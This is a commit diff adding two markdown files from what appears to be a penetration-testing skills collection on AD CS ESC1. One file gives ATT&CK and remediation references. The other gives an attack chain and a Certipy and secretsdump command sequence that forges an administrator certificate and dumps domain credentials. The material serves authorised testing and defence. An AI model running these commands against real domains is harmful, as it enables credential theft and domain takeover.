Initial commit - 611 cybersecurity skills across all subdomains

skills/exploiting-active-directory-certificate-services-esc1/references/standards.md

@@ -0,0 +1,30 @@
+# Standards and References - AD CS ESC1 Exploitation
+
+## MITRE ATT&CK References
+
+| Technique ID | Name | Tactic |
+|-------------|------|--------|
+| T1649 | Steal or Forge Authentication Certificates | Credential Access |
+| T1558.001 | Steal or Forge Kerberos Tickets: Golden Ticket | Credential Access |
+| T1078.002 | Valid Accounts: Domain Accounts | Initial Access, Persistence |
+| T1484 | Domain Policy Modification | Defense Evasion |
+| T1087.002 | Account Discovery: Domain Account | Discovery |
+
+## Key Research
+
+- SpecterOps "Certified Pre-Owned" whitepaper by Will Schroeder and Lee Christensen (2021)
+- CrowdStrike: Investigating Active Directory Certificate Services Abuse: ESC1
+- BeyondTrust: ESC1 Attack - How to Detect and Mitigate
+- Semperis: ESC1 Attack Explained
+- HackTricks: AD CS Domain Escalation
+
+## CVE References
+
+- ESC1 is a misconfiguration, not a specific CVE
+- Related: CVE-2022-26923 (Certifried) - AD CS machine account certificate abuse
+
+## Remediation Standards
+
+- Microsoft KB5014754: Certificate-based authentication changes
+- CISA Alert: Securing AD CS deployments
+- CIS Benchmark: AD CS hardening guidelines

skills/exploiting-active-directory-certificate-services-esc1/references/workflows.md

@@ -0,0 +1,55 @@
+# Workflows - AD CS ESC1 Exploitation
+
+## ESC1 Attack Chain Workflow
+
+```
+1. Enumeration
+   ├── Identify CA servers: Certify.exe cas / certipy find
+   ├── List certificate templates: Certify.exe find
+   ├── Filter for vulnerable templates: /vulnerable flag
+   └── Verify ESC1 conditions (ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU)
+
+2. Certificate Request
+   ├── Choose target principal (Domain Admin, Enterprise Admin)
+   ├── Request certificate with target UPN in SAN field
+   ├── CA processes request without approval (misconfigured)
+   └── Save issued certificate (PFX/PEM)
+
+3. Authentication
+   ├── Convert certificate format if needed (PEM → PFX)
+   ├── Use PKINIT to request TGT with forged certificate
+   ├── Rubeus (Windows): asktgt /certificate:<pfx>
+   ├── Certipy (Linux): auth -pfx <certificate>
+   └── Obtain TGT or NT hash for target account
+
+4. Privilege Escalation
+   ├── Use obtained TGT/hash for privileged operations
+   ├── DCSync: Dump all domain credentials
+   ├── Access Domain Controller shares
+   └── Establish persistence as needed
+
+5. Documentation
+   ├── Screenshot each step of the attack chain
+   ├── Record CA name, template name, and SAN used
+   ├── Document credentials obtained
+   └── Provide remediation guidance
+```
+
+## Certipy Full Attack Workflow (Linux)
+
+```bash
+# Step 1: Find vulnerable templates
+certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
+
+# Step 2: Request certificate as administrator
+certipy req -u user@domain.local -p 'Password123' \
+  -ca 'domain-CA' -target DC01.domain.local \
+  -template VulnerableTemplate \
+  -upn administrator@domain.local
+
+# Step 3: Authenticate with certificate
+certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
+
+# Step 4: Use recovered NT hash
+secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash
+```